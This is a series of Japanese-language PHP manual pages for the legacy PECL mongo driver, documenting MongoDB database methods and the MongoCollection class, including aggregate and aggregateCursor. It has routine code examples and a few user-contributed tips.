コレクションの一覧を取得する際のオプションの配列。現在利用可能なオプションは、以下のとおりです。

  • "filter"

    オプションの問い合わせ条件。これを指定すると、結果に含まれるコレクションをその条件でフィルタリングします。

    問い合わせの対象となる関連フィールドには、"name" (コレクション名を表す文字列。データベース名のプレフィックスは含まない) や "options" (コレクションを作成するために用いるオプションを含むオブジェクト) があります。

    注意: MongoDB 2.6 以前のバージョンでは、"name" の条件指定には文字列しか使えませんでした (一致する文字列だけに絞り込むなど)。これは、ドライバが system.namespaces コレクションに問い合わせるときに、その値をデータベース名の先頭に付加する必要があったからです。最新版の MongoDB にはこの制約がなくなりました。listCollections コマンドを使うようになったからです。

  • "includeSystemCollections"

    Boolean で、デフォルトは false です。system コレクションを結果に含めるかどうかを指定します。

以下のオプションは、MongoDB 2.8 以降で利用可能です。

  • "maxTimeMS"

    サーバー上で操作を行う累積時間の制限 (アイドル時間を含まない) を、ミリ秒単位で指定します。この時間内にサーバー側の操作が完了しなければ、MongoExecutionTimeoutException をスローします。

返り値

MongoCollection オブジェクトの配列を返します。

エラー / 例外

MongoDB 2.6 およびそれ以前のバージョンでは、 "filter" オプションの "name" に文字列以外の値を指定した場合に MongoException をスローします。

変更履歴

バージョン | 説明
PECL mongo 1.6.0 | 最初のパラメータがオプションの配列に変わりました。以前のバージョンでは最初のパラメータは boolean で、 "includeSystemCollections" オプションの値を指定するものでした。
PECL mongo 1.3.0 | includeSystemCollections が追加されました。

例

例1 MongoDB::listCollections() の例

次の例は、データベース内の各コレクションの件数を数えます。

<?php

$m = new MongoClient();
$db = $m->selectDB("demo");
$collections = $db->listCollections();

foreach ($collections as $collection) {
    echo "amount of documents in $collection: ";
    echo $collection->count(), "\n";
}

?>

上の例の出力は、 たとえば以下のようになります。

...
amount of documents in demo.pubs: 4
amount of documents in demo.elephpants: 3
amount of documents in demo.cities: 22840
...

参考

  • MongoDB::getCollectionNames() - このデータベースのすべてのコレクション名の配列を取得する
  • MongoDB::getCollectionInfo() - Returns information about collections in this database

User Contributed Notes

George Gombay 02-Jun-2014 08:53
For an alternative to the shell command 'show dbs', refer to my note for the listDBs() method of Mongoclient(), which reproduces some simple PHP code that will yield the names of all database present.


データベース操作中の直近に発生したエラーを調べる

  • ≪ MongoDB::listCollections
  • MongoDB::repair ≫
  • PHP Manual
  • MongoDB
  • データベース操作中の直近に発生したエラーを調べる

MongoDB::prevError

(PECL mongo >=0.9.5)

MongoDB::prevError — データベース操作中の直近に発生したエラーを調べる

説明

public MongoDB::prevError ( ) : array

MongoDB::lastError() のほうが通常はおすすめです。 このメソッドは、直近に発生したデータベースエラーと、 それが何回前の操作で発生したのかを返します。廃止予定です。

パラメータ

この関数にはパラメータはありません。

返り値

エラーと、それが何回前の操作で発生したかを返します。

変更履歴

バージョン | 説明
PECL mongo 1.2.11 | E_DEPRECATED を発行するようになりました。

User Contributed Notes

There are no user contributed notes for this page.


このデータベースを修復・圧縮する

  • ≪ MongoDB::prevError
  • MongoDB::resetError ≫
  • PHP Manual
  • MongoDB
  • このデータベースを修復・圧縮する

MongoDB::repair

(PECL mongo >=0.9.0)

MongoDB::repair — このデータベースを修復・圧縮する

説明

public MongoDB::repair ( bool $preserve_cloned_files = false , bool $backup_original_files = false ) : array

これは、データベースのすべてのデータの最新コピーを作成します。 壊れたデータは削除し、データを圧縮して空き領域を拡大します。 大きなデータベースでは非常に長い時間がかかります。

通常はシェルやコマンドラインから実行し、ドライバから実行することはありません。

これは、次の関数と同じ意味です。

<?php

public function repair() {
    return $this->command(array('repairDatabase' => 1));
}

?>

パラメータ

preserve_cloned_files

修復に失敗した場合に、コピーしたファイルを保持します。

backup_original_files

元ファイルをバックアップするかどうか。

返り値

データベースの応答を返します。

参考

MongoDB コアドキュメントの » repairDatabase を参照ください。

例

例1 MongoDB::repair() の例

この例は、データベースを修復・圧縮する方法を示します。

<?php

$db = $mongo->foo;

$response = $db->repair();
print_r($response);

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [ok] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


データベースで発生したすべてのエラーをクリアする

  • ≪ MongoDB::repair
  • MongoDB::selectCollection ≫
  • PHP Manual
  • MongoDB
  • データベースで発生したすべてのエラーをクリアする

MongoDB::resetError

(PECL mongo >=0.9.5)

MongoDB::resetError — データベースで発生したすべてのエラーをクリアする

説明

public MongoDB::resetError ( ) : array

通常の操作では、このメソッドは使いません。このメソッドは、データベースのエラートラッカーをリセットします (MongoDB::forceError() で増やすことができますが、このメソッドも通常は使いません)。

これは、次のコードと同じ意味です。

<?php

public function resetError() {
    return $this->command(array('reseterror' => 1));
}

?>

パラメータ

この関数にはパラメータはありません。

返り値

データベースからの応答を返します。

変更履歴

バージョン | 説明
PECL mongo 1.2.11 | E_DEPRECATED を発行するようになりました。

User Contributed Notes

There are no user contributed notes for this page.


コレクションを取得する

  • ≪ MongoDB::resetError
  • MongoDB::setProfilingLevel ≫
  • PHP Manual
  • MongoDB
  • コレクションを取得する

MongoDB::selectCollection

(PECL mongo >=0.9.0)

MongoDB::selectCollection — コレクションを取得する

説明

public MongoDB::selectCollection ( string $name ) : MongoCollection

パラメータ

name

コレクションの名前。

返り値

コレクションを返します。

エラー / 例外

コレクション名が不正な場合に Exception をスローします。

User Contributed Notes

asuquo dot ulo at techxion dot com 06-Sep-2014 06:33
A simple script that selects a db and collection.

$m = new MongoClient();
   echo "Connection to database successfully<br>";
   // select a database
   $db = $m->test;
   echo "Database test selected<br>";
//select a Collection
   $collection = $db->selectCollection("member");
   echo "Collection member selected succsessfully<br>";

?>


このデータベースのプロファイリングレベルを設定する

  • ≪ MongoDB::selectCollection
  • MongoDB::setReadPreference ≫
  • PHP Manual
  • MongoDB
  • このデータベースのプロファイリングレベルを設定する

MongoDB::setProfilingLevel

(PECL mongo >=0.9.0)

MongoDB::setProfilingLevel — このデータベースのプロファイリングレベルを設定する

説明

public MongoDB::setProfilingLevel ( int $level ) : int

現在のデータベースのプロファイリングレベルを変更します。

この関数は、次のコードと同じ意味です。

<?php

public function setProfilingLevel($level) {
    return $this->command(array('profile' => $level));
}

?>

level に指定できる値は 0 (off)、1 (100ms を超えるクエリ) および 2 (すべてのクエリ) です。 別の時間を指定してそれを超える所要時間のクエリを調べるには、データベースのコマンドを使って 二番目のオプションにミリ秒数を指定します。 たとえば、所要時間が 1 秒より長いクエリをすべて調べるには次のようにします。

<?php

$result = $this->command(array('profile' => 1, 'slowms' => 1000));

?>

プロファイルされたクエリは、このデータベースの system.profile コレクションに入ります。

パラメータ

level

プロファイリングレベル。

返り値

前に設定されていたプロファイリングレベルを返します。

参考

  • MongoDB コアドキュメントの » profiling
  • MongoDB::getProfilingLevel() - このデータベースのプロファイリングレベルを取得する

User Contributed Notes

There are no user contributed notes for this page.


このデータベースの優先読み込みを設定する

  • ≪ MongoDB::setProfilingLevel
  • MongoDB::setSlaveOkay ≫
  • PHP Manual
  • MongoDB
  • このデータベースの優先読み込みを設定する

MongoDB::setReadPreference

(PECL mongo >=1.3.0)

MongoDB::setReadPreference — このデータベースの優先読み込みを設定する

説明

public MongoDB::setReadPreference ( string $read_preference , array $tags = ? ) : bool

パラメータ

read_preference

読み込みの優先モード。MongoClient::RP_PRIMARY、MongoClient::RP_PRIMARY_PREFERRED、MongoClient::RP_SECONDARY、MongoClient::RP_SECONDARY_PREFERRED あるいは MongoClient::RP_NEAREST のいずれか。

tags

ゼロ個以上のタグセットの配列。各タグセット自体も配列で、レプリカセットのメンバーのタグにマッチさせる条件として使います。

返り値

成功した場合に true、それ以外の場合に false を返します。

エラー / 例外

パラメータが無効な場合、あるいは優先読み込みモードが MongoClient::RP_PRIMARY のときにタグセットを指定した場合に E_WARNING が発生します。

例

例1 MongoDB::setReadPreference() タグセット配列構文の例

<?php

$m = new MongoClient();
$db = $m->test;

// "east" データセンターの一番近いサーバーをレポート用に使うようにして、
// 代替として "west" データセンターのサーバーを設定します
$db->setReadPreference(MongoClient::RP_NEAREST, array(
    array('dc' => 'east', 'use' => 'reporting'),
    array('dc' => 'west'),
));
?>

参考

  • 優先読み込みのドキュメント
  • MongoDB::getReadPreference() - このデータベースの優先読み込みを取得する

User Contributed Notes

There are no user contributed notes for this page.


Change slaveOkay setting for this database

  • ≪ MongoDB::setReadPreference
  • MongoDB::setWriteConcern ≫
  • PHP Manual
  • MongoDB
  • Change slaveOkay setting for this database

MongoDB::setSlaveOkay

(PECL mongo >=1.1.0)

MongoDB::setSlaveOkay — Change slaveOkay setting for this database

説明

public MongoDB::setSlaveOkay ( bool $ok = true ) : bool

See the query section of this manual for information on distributing reads to secondaries.

パラメータ

ok

If reads should be sent to secondary members of a replica set for all possible queries using this MongoDB instance.

返り値

Returns the former value of slaveOkay for this instance.

変更履歴

バージョン | 説明
PECL mongo 1.2.11 | Emits E_DEPRECATED when used.

参考

  • 優先読み込み
  • MongoDB::setReadPreference() - このデータベースの優先読み込みを設定する
  • MongoDB::getReadPreference() - このデータベースの優先読み込みを取得する

User Contributed Notes

There are no user contributed notes for this page.


Set the write concern for this database

  • ≪ MongoDB::setSlaveOkay
  • MongoDB::__toString ≫
  • PHP Manual
  • MongoDB
  • Set the write concern for this database

MongoDB::setWriteConcern

(PECL mongo >=1.5.0)

MongoDB::setWriteConcern — Set the write concern for this database

説明

public MongoDB::setWriteConcern ( mixed $w , int $wtimeout = ? ) : bool

パラメータ

w

書き込み確認。何台のサーバーに書き込めたら成功とみなすのかを表す整数値、あるいは文字列 ("majority" など) でモードを指定します。

wtimeout

サーバーが書き込み確認を待つ最大ミリ秒数。

返り値

成功した場合に true、それ以外の場合に false を返します。

エラー / 例外

w が整数値あるいは文字列でない場合に E_WARNING が発生します。

例

例1 MongoDB::setWriteConcern() example

<?php

$mc = new MongoClient('mongodb://rs1.example.com,rs2.example.com');
$db = $mc->selectDB('test');

// Require that the majority of servers in the replica set acknowledge writes
// within three seconds.
$db->setWriteConcern('majority', 3000);
?>

参考

  • The write concern documentation.
  • MongoDB::getWriteConcern() - Get the write concern for this database

User Contributed Notes

There are no user contributed notes for this page.


このデータベースの名前

  • ≪ MongoDB::setWriteConcern
  • MongoCollection ≫
  • PHP Manual
  • MongoDB
  • このデータベースの名前

MongoDB::__toString

(PECL mongo >=0.9.0)

MongoDB::__toString — このデータベースの名前

説明

public MongoDB::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

このデータベースの名前を返します。

User Contributed Notes

There are no user contributed notes for this page.


MongoCollection クラス

(PECL mongo >=0.9.0)

はじめに

MongoDB のコレクションを表します。

コレクション名は ASCII セット内の任意の文字を使用できます。たとえば ""、"..."、"my collection" そして "*&#@" といった名前をつけることができます。

ユーザー定義のコレクション名には $ 記号を含めることができません。システムコレクションの中には $ を名前に使うものがあります (local.oplog.$main など) が、 これは予約文字です。名前に $ を含むコレクションを作ったり使ったりしようとすると、 MongoDB が assert を出します。

クラス概要

MongoCollection {
/* 定数 */
const int ASCENDING = 1 ;
const int DESCENDING = -1 ;
/* フィールド */
public MongoDB $db = null ;
public int $w ;
public int $wtimeout ;
/* メソッド */
public aggregate ( array $pipeline , array $options = ? ) : array
public aggregateCursor ( array $command , array $options = ? ) : MongoCommandCursor
public batchInsert ( array $a , array $options = array() ) : mixed
public __construct ( MongoDB $db , string $name )
public count ( array $query = array() , array $options = array() ) : int
public createDBRef ( mixed $document_or_id ) : array
public createIndex ( array $keys , array $options = array() ) : bool
public deleteIndex ( string|array $keys ) : array
public deleteIndexes ( ) : array
public distinct ( string $key , array $query = ? ) : array|false
public drop ( ) : array
public ensureIndex ( string|array $key|keys , array $options = array() ) : bool
public find ( array $query = array() , array $fields = array() ) : MongoCursor
public findAndModify ( array $query , array $update = ? , array $fields = ? , array $options = ? ) : array
public findOne
 ( array $query = array()
, array $fields = array()
, array $options = array()
) : array
public __get ( string $name ) : MongoCollection
public getDBRef ( array $ref ) : array
public getIndexInfo ( ) : array
public getName ( ) : string
public getReadPreference ( ) : array
public getSlaveOkay ( ) : bool
public getWriteConcern ( ) : array
public group ( mixed $keys , array $initial , MongoCode $reduce , array $options = array() ) : array
public insert ( array|object $document , array $options = array() ) : bool|array
public parallelCollectionScan ( int $num_cursors ) : array[MongoCommandCursor]
public remove ( array $criteria = array() , array $options = array() ) : bool|array
public save ( array|object $document , array $options = array() ) : mixed
public setReadPreference ( string $read_preference , array $tags = ? ) : bool
public setSlaveOkay ( bool $ok = true ) : bool
public setWriteConcern ( mixed $w , int $wtimeout = ? ) : bool
static protected toIndexString ( mixed $keys ) : string
public __toString ( ) : string
public update ( array $criteria , array $new_object , array $options = array() ) : bool|array
public validate ( bool $scan_data = false ) : array
}

定義済み定数

MongoCollection::ASCENDING
ソートやインデックス作成時に使用する「昇順」。
MongoCollection::DESCENDING
ソートやインデックス作成時に使用する「降順」。

フィールド

db

このコレクションの "親" データベース。

w

成功を返す前に変更をレプリケートするサーバーの数。 この値は親データベースから引き継ぎます。 MongoDB クラスのマニュアルに、 w の挙動についてのより詳細な説明があります。

wtimeout

$this->w のレプリケーションが完了するまでに待つミリ秒数。 この値は親データベースから引き継ぎます。 MongoDB クラスのマニュアルに、 wtimeout の挙動についてのより詳細な説明があります。

参考

MongoDB コアドキュメントの » コレクション を参照ください。

目次

  • MongoCollection::aggregate — aggregation フレームワークを使って集約する
  • MongoCollection::aggregateCursor — Execute an aggregation pipeline command and retrieve results through a cursor
  • MongoCollection::batchInsert — 複数のドキュメントをコレクションに追加する
  • MongoCollection::__construct — 新しいコレクションを作成する
  • MongoCollection::count — コレクション内のドキュメント数を数える
  • MongoCollection::createDBRef — データベースへの参照を作成する
  • MongoCollection::createIndex — Creates an index on the specified field(s) if it does not already exist
  • MongoCollection::deleteIndex — コレクションからインデックスを削除する
  • MongoCollection::deleteIndexes — コレクションのすべてのインデックスを削除する
  • MongoCollection::distinct — Retrieve a list of distinct values for the given key across a collection
  • MongoCollection::drop — コレクションを削除する
  • MongoCollection::ensureIndex — Creates an index on the specified field(s) if it does not already exist
  • MongoCollection::find — コレクションに問い合わせ、結果セットの MongoCursor を返す
  • MongoCollection::findAndModify — ドキュメントを更新して返す
  • MongoCollection::findOne — コレクションに問い合わせ、単一の要素を返す
  • MongoCollection::__get — コレクションを取得する
  • MongoCollection::getDBRef — データベース参照が指すドキュメントを取得する
  • MongoCollection::getIndexInfo — このコレクションのインデックスについての情報を返す
  • MongoCollection::getName — コレクションの名前を返す
  • MongoCollection::getReadPreference — このコレクションの優先読み込みを取得する
  • MongoCollection::getSlaveOkay — このコレクションの slaveOkay 設定を取得する
  • MongoCollection::getWriteConcern — Get the write concern for this collection
  • MongoCollection::group — SQL の GROUP BY コマンドと似た処理を行う
  • MongoCollection::insert — ドキュメントをコレクションに追加する
  • MongoCollection::parallelCollectionScan — Returns an array of cursors to iterator over a full collection in parallel
  • MongoCollection::remove — レコードをコレクションから削除する
  • MongoCollection::save — ドキュメントをコレクションに保存する
  • MongoCollection::setReadPreference — このコレクションの優先読み込みを設定する
  • MongoCollection::setSlaveOkay — Change slaveOkay setting for this collection
  • MongoCollection::setWriteConcern — Set the write concern for this database
  • MongoCollection::toIndexString — インデックスを指定するキーを、インデックスを指す文字列に変換する
  • MongoCollection::__toString — このコレクションの文字列表現
  • MongoCollection::update — 指定した条件にもとづいてレコードを更新する
  • MongoCollection::validate — コレクションを検証する

User Contributed Notes

There are no user contributed notes for this page.


aggregation フレームワークを使って集約する

  • ≪ MongoCollection
  • MongoCollection::aggregateCursor ≫
  • PHP Manual
  • MongoCollection
  • aggregation フレームワークを使って集約する

MongoCollection::aggregate

(PECL mongo >=1.3.0)

MongoCollection::aggregate — aggregation フレームワークを使って集約する

説明

public MongoCollection::aggregate ( array $pipeline , array $options = ? ) : array
public MongoCollection::aggregate ( array $op , array ...$ops ) : array

MongoDB の » aggregation フレームワーク を使うと、値を集約するときに MapReduce を使わずに済ませることができます。 MapReduce は強力な手段ですが、単にフィールドの合計や平均を調べたいだけといった単純な集約に使うには ちょっと大げさすぎることもあります。

このメソッドには、任意の数のパイプライン演算子を指定することもできるし、 パイプラインを構成する演算子の配列を一つだけ渡すこともできます。

パラメータ

pipeline

パイプライン演算子の配列。

options

集約コマンドのオプション。以下のオプションが使えます。

  • "allowDiskUse"

    集約時に、テンポラリファイルへの書き込みを許可します。

  • "cursor"

    カーソルオブジェクトの作成を制御するオプション。 このオプションは、コマンドの実行結果として返されるドキュメントを、 MongoCommandCursor を作るのに適した形式にします。 このオプションを使う必要がある場合は、 MongoCollection::aggregateCursor() を使うことを検討しましょう。

  • "explain"

    パイプライン処理の情報を返します。

  • "maxTimeMS"

    サーバー上で操作を行う累積時間の制限 (アイドル時間を含まない) を、ミリ秒単位で指定します。この時間内にサーバー側の操作が完了しなければ、MongoExecutionTimeoutException をスローします。

Or

op

最初のパイプライン演算子。

ops

追加のパイプライン演算子。

返り値

集約の結果を配列で返します。成功した場合は ok が 1 になり、失敗した場合は 0 になります。

エラー / 例外

エラーが発生した場合は、次のキーを含む配列を返します。

  • errmsg - 失敗の原因。
  • code - エラーコード。
  • ok - 0 が入っています。

変更履歴

バージョン | 説明
PECL mongo 1.5.0 | オプションの引数 options が追加されました。

例

例1 MongoCollection::aggregate() の例

次の例は、記事につけられたタグでグループ化した、作者名のセットを作ります。 aggregation フレームワークを呼ぶには、こんなコマンドを発行します。

<?php
$m = new MongoClient("localhost");
$c = $m->selectDB("examples")->selectCollection("article");
$data = array (
    'title' => 'this is my title',
    'author' => 'bob',
    'posted' => new MongoDate,
    'pageViews' => 5,
    'tags' => array ( 'fun', 'good', 'fun' ),
    'comments' => array (
      array (
        'author' => 'joe',
        'text' => 'this is cool',
      ),
      array (
        'author' => 'sam',
        'text' => 'this is bad',
      ),
    ),
    'other' =>array (
      'foo' => 5,
    ),
);
$d = $c->insert($data, array("w" => 1));

$ops = array(
    array(
        '$project' => array(
            "author" => 1,
            "tags"   => 1,
        )
    ),
    array('$unwind' => '$tags'),
    array(
        '$group' => array(
            "_id" => array("tags" => '$tags'),
            "authors" => array('$addToSet' => '$author'),
        ),
    ),
);
$results = $c->aggregate($ops);
var_dump($results);
?>

上の例の出力は以下となります。

array(2) {
  ["result"]=>
  array(2) {
    [0]=>
    array(2) {
      ["_id"]=>
      array(1) {
        ["tags"]=>
        string(4) "good"
      }
      ["authors"]=>
      array(1) {
        [0]=>
        string(3) "bob"
      }
    }
    [1]=>
    array(2) {
      ["_id"]=>
      array(1) {
        ["tags"]=>
        string(3) "fun"
      }
      ["authors"]=>
      array(1) {
        [0]=>
        string(3) "bob"
      }
    }
  }
  ["ok"]=>
  float(1)
}

次の例では » zipcode データセット を使います。 mongoimport を使って、このデータセットを mongod インスタンスに読み込みましょう。

例2 MongoCollection::aggregate() の例

人口が1000万人を上回るすべての州を返すには、こんな操作をします。

<?php
$m = new MongoClient("localhost");
$c = $m->selectDB("test")->selectCollection("zips");

$pipeline = array(
    array(
        '$group' => array(
            '_id' => array('state' => '$state'),
            'totalPop' => array('$sum' => '$pop')
        )
    ),
    array(
        '$match' => array(
            'totalPop' => array('$gte' => 10 * 1000 * 1000)
        )
    ),
);
$out = $c->aggregate($pipeline);
var_dump($out);
?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  ["result"]=>
  array(7) {
    [0]=>
    array(2) {
      ["_id"]=>
      string(2) "TX"
      ["totalPop"]=>
      int(16986510)
    }
    [1]=>
    array(2) {
      ["_id"]=>
      string(2) "PA"
      ["totalPop"]=>
      int(11881643)
    }
    [2]=>
    array(2) {
      ["_id"]=>
      string(2) "NY"
      ["totalPop"]=>
      int(17990455)
    }
    [3]=>
    array(2) {
      ["_id"]=>
      string(2) "IL"
      ["totalPop"]=>
      int(11430602)
    }
    [4]=>
    array(2) {
      ["_id"]=>
      string(2) "CA"
      ["totalPop"]=>
      int(29760021)
    }
    [5]=>
    array(2) {
      ["_id"]=>
      string(2) "OH"
      ["totalPop"]=>
      int(10847115)
    }
    [6]=>
    array(2) {
      ["_id"]=>
      string(2) "FL"
      ["totalPop"]=>
      int(12937926)
    }
  }
  ["ok"]=>
  float(1)
}

例3 MongoCollection::aggregate() の例

各州の市の平均人口を返すには、こんな操作をします。

<?php
$m = new MongoClient;
$c = $m->selectDB("test")->selectCollection("zips");

$out = $c->aggregate(
    array(
        '$group' => array(
            '_id' => array('state' => '$state', 'city' => '$city' ),
            'pop' => array('$sum' => '$pop' )
        )
    ),
    array(
        '$group' => array(
            '_id' => '$_id.state',
            'avgCityPop' => array('$avg' => '$pop')
        )
    )
);

var_dump($out);
?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  ["result"]=>
  array(51) {
    [0]=>
    array(2) {
      ["_id"]=>
      string(2) "DC"
      ["avgCityPop"]=>
      float(303450)
    }
    [1]=>
    array(2) {
      ["_id"]=>
      string(2) "DE"
      ["avgCityPop"]=>
      float(14481.913043478)
    }
...
    [49]=>
    array(2) {
      ["_id"]=>
      string(2) "WI"
      ["avgCityPop"]=>
      float(7323.0074850299)
    }
    [50]=>
    array(2) {
      ["_id"]=>
      string(2) "WV"
      ["avgCityPop"]=>
      float(2759.1953846154)
    }
  }
  ["ok"]=>
  float(1)
}

例4 MongoCollection::aggregate() でのコマンド引数

パイプラインをどのように処理するのかの情報を返すには、explain オプションを使います。

<?php
$m = new MongoClient;
$c = $m->selectDB("test")->selectCollection("zips");

$pipeline = array(
    array(
        '$group' => array(
            '_id' => '$state',
           'totalPop' => array('$sum' => '$pop'),
        ),
    ),
    array(
        '$match' => array(
            'totalPop' => array('$gte' => 10 * 1000 * 1000)
        )
    ),
    array(
        '$sort' => array("totalPop" => -1),
    ),
);

$options = array("explain" => true);
$out = $c->aggregate($pipeline, $options);
var_dump($out);
?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  ["stages"]=>
  array(4) {
    [0]=>
    array(1) {
      ["$cursor"]=>
      array(3) {
        ["query"]=>
        array(0) {
        }
        ["fields"]=>
        array(3) {
          ["pop"]=>
          int(1)
          ["state"]=>
          int(1)
          ["_id"]=>
          int(0)
        }
        ["plan"]=>
        array(4) {
          ["cursor"]=>
          string(11) "BasicCursor"
          ["isMultiKey"]=>
          bool(false)
          ["scanAndOrder"]=>
          bool(false)
          ["allPlans"]=>
          array(1) {
            [0]=>
            array(3) {
              ["cursor"]=>
              string(11) "BasicCursor"
              ["isMultiKey"]=>
              bool(false)
              ["scanAndOrder"]=>
              bool(false)
            }
          }
        }
      }
    }
    [1]=>
    array(1) {
      ["$group"]=>
      array(2) {
        ["_id"]=>
        string(6) "$state"
        ["totalPop"]=>
        array(1) {
          ["$sum"]=>
          string(4) "$pop"
        }
      }
    }
    [2]=>
    array(1) {
      ["$match"]=>
      array(1) {
        ["totalPop"]=>
        array(1) {
          ["$gte"]=>
          int(10000000)
        }
      }
    }
    [3]=>
    array(1) {
      ["$sort"]=>
      array(1) {
        ["sortKey"]=>
        array(1) {
          ["totalPop"]=>
          int(-1)
        }
      }
    }
  }
  ["ok"]=>
  float(1)
}

参考

  • MongoCollection::aggregateCursor() - Execute an aggregation pipeline command and retrieve results through a cursor
  • MongoDB » aggregation フレームワーク

User Contributed Notes

mike at eastghost dot com 30-Sep-2016 08:23
COPY ONE COLLECTION TO ANOTHER COLLECTION IN SAME DATABASE

db.myoriginal.aggregate( [ [ $match: [] ], [ $out: "mycopy" ] ] )

a LOT faster than doing many inserts in a forEach loop.
< 2 seconds to copy 50,000 documents each a few KB.
12GB of data in 1-2 minutes on a i5 PC.
Best part : it's non-blocking!
Target can't be a capped collection.

ymmv


Execute an aggregation pipeline command and retrieve results through a cursor

  • ≪ MongoCollection::aggregate
  • MongoCollection::batchInsert ≫
  • PHP Manual
  • MongoCollection
  • Execute an aggregation pipeline command and retrieve results through a cursor

MongoCollection::aggregateCursor

(PECL mongo >=1.5.0)

MongoCollection::aggregateCursor — Execute an aggregation pipeline command and retrieve results through a cursor

説明

public MongoCollection::aggregateCursor ( array $command , array $options = ? ) : MongoCommandCursor

With this method you can execute Aggregation Framework pipelines and retrieve the results through a cursor, instead of getting just one document back as you would with MongoCollection::aggregate(). This method returns a MongoCommandCursor object. This cursor object implements the Iterator interface just like the MongoCursor objects that are returned by the MongoCollection::find() method.

注意: The resulting MongoCommandCursor will inherit this collection's read preference. MongoCommandCursor::setReadPreference() may be used to change the read preference before iterating on the cursor.

パラメータ

pipeline

The Aggregation Framework pipeline to execute.

options

Options for the aggregation command. Valid options include:

  • "allowDiskUse"

    Allow aggregation stages to write to temporary files

  • "cursor"

    It is possible to configure how many initial documents the server should return with the first result set. The default initial batch size is 101. You can change it by adding the batchSize option:

    <?php
    $collection    ->aggregateCursor(
            $pipeline,
        [     "cursor" => [ "batchSize" => 4 ] ]
    );

    This option only configures the size of the first batch. To configure the size of future batches, please use the MongoCommandCursor::batchSize() method on the returned MongoCommandCursor object.

  • "explain"

    Return information on the processing of the pipeline. This option may cause the command to return a result document that is unsuitable for constructing a MongoCommandCursor. If you need to use this option, you should consider using MongoCollection::aggregate().

  • "maxTimeMS"

    サーバー上で操作を行う累積時間の制限 (アイドル時間を含まない) を、ミリ秒単位で指定します。この時間内にサーバー側の操作が完了しなければ、MongoExecutionTimeoutException をスローします。

返り値

Returns a MongoCommandCursor object. Because this implements the Iterator interface you can iterate over each of the results as returned by the command query. The MongoCommandCursor also implements the MongoCursorInterface interface which adds the MongoCommandCursor::batchSize(), MongoCommandCursor::dead(), MongoCommandCursor::info() methods.

例

例1 MongoCollection::aggregateCursor() example

Finding all of the distinct values for a key.

<?php
$m = new MongoClient;
$db = $m->test;
$people = $db->people;
$people->drop();

$people->insert(array("name" => "Joe", "points" => 4));
$people->insert(array("name" => "Molly", "points" => 43));
$people->insert(array("name" => "Sally", "points" => 22));
$people->insert(array("name" => "Joe", "points" => 22));
$people->insert(array("name" => "Molly", "points" => 87));

$ages = $people->aggregateCursor( [
        [ '$group' => [ '_id' => '$name', 'points' => [ '$sum' => '$points' ] ] ],
        [ '$sort' => [ 'points' => -1 ] ],
] );

foreach ($ages as $person) {
    echo "{$person['_id']}: {$person['points']}\n";
}

?>

上の例の出力は、 たとえば以下のようになります。

Molly: 130
Joe: 26
Sally: 22

例2 MongoCollection::aggregateCursor() example with different initial batch size

Finding all of the distinct values for a key.

<?php
$m = new MongoClient;
$db = $m->test;
$people = $db->people;
$people->drop();

/* Insert some sample data */
$people->insert(array("name" => "Joe", "points" => 4));
$people->insert(array("name" => "Molly", "points" => 43));
$people->insert(array("name" => "Sally", "points" => 22));
$people->insert(array("name" => "Joe", "points" => 22));
$people->insert(array("name" => "Molly", "points" => 87));

/* Run the command cursor */
$ages = $people->aggregateCursor(
    [
        [ '$group' => [ '_id' => '$name', 'points' => [ '$sum' => '$points' ] ] ],
        [ '$sort' => [ 'points' => -1 ] ],
    ],
    [ "cursor" => [ "batchSize" => 4 ] ]
);

foreach ($ages as $person) {
    echo "{$person['_id']}: {$person['points']}\n";
}

?>

上の例の出力は、 たとえば以下のようになります。

Molly: 130
Joe: 26
Sally: 22

参考

  • MongoDB::command() - データベースコマンドを実行する
  • MongoCommandCursor
  • MongoCommandCursor::batchSize() - Limits the number of elements returned in one batch
  • MongoCollection::aggregate() - aggregation フレームワークを使って集約する
  • The MongoDB » aggregation framework

User Contributed Notes

Dmitriy 20-Dec-2017 11:18
aggregateCursor with mongoDB 3.6 can cause error:
"the command cursor did not return a correctly structured response"

to fix it on 64 bit systems, temporarily turn on:
ini_set('mongo.long_as_object', true);
lukasz at endai dot com 19-Jan-2015 07:08
It looks like maxTimeMS option in the latest release (1.5.8) is not valid anymore. Set \MongoCursor::$timeout before you call aggregateCursor()


複数のドキュメントをコレクションに追加する

  • ≪ MongoCollection::aggregateCursor
  • MongoCollection::__construct ≫
  • PHP Manual
  • MongoCollection
  • 複数のドキュメントをコレクションに追加する

MongoCollection::batchInsert

(PECL mongo >=0.9.0)

MongoCollection::batchInsert — 複数のドキュメントをコレクションに追加する

説明

public MongoCollection::batchInsert ( array $a , array $options = array() ) : mixed

パラメータ

a

配列の配列あるいはオブジェクト。オブジェクトを使う場合は、 protected や private のプロパティは保持できません。

注意:

追加するドキュメントが _id のキーあるいはプロパティを持たない場合は、 新しい MongoId インスタンスを作ってそれを代入します。 この挙動に関する詳しい情報は MongoCollection::insert() を参照ください。

options

追加操作群についてのオプションの配列。 現在利用可能なオプションは、以下のとおりです。

  • "continueOnError"

    boolean で、デフォルトは false です。 これを設定すると、(ID の重複などが原因で) 一括インサートが失敗したときにもデータベースは処理を続行します。 その結果、一括インサート処理の挙動が一件ごとのインサートを繰り返したときと同じになります。 ただし、MongoDB::lastError() をコールすると、 直近の操作が失敗していなくても何か失敗があればエラーが設定されています。 複数のエラーが発生したときには、 MongoDB::lastError() が返すのは最後に発生したエラーだけとなります。

    注意:

    continueOnError は、あくまでもデータベース側のエラーにしか影響を及ぼさないことに注意しましょう。 ドキュメントそのものに問題があるもの (キーの名前が空になっているなど) をインサートしようとすると、 ドライバーがこのエラーを検出してデータベースへの送信を止めてしまうので、処理はそこで終わってしまいます。 ドライバー側で検出されるドキュメントのエラーに関しては、 continueOnError は何もできません。

  • "fsync"

    Boolean 型で、デフォルトは false です。 ジャーナリングが有効な場合、これは "j" とまったく同じ動きをします。 ジャーナリングが有効でない場合は、追加をディスク上のデータベースファイルに同期させるまで成功したと見なさないようになります。 true にすると確認つき書き込みが暗黙のうちに設定され、"w" の値を 0 にします。

    注意: ジャーナリングが有効な場合は、"fsync" のかわりに "j" を使いましょう。 "fsync" と "j" を同時に指定すると、エラーになります。

  • "j"

    デフォルトは false です。これを指定すると、追加をジャーナルに同期させるまで成功したと見なさないようになります。true にすると確認付き書き込みと見なされ、"w" の設定を 0 に上書きします。

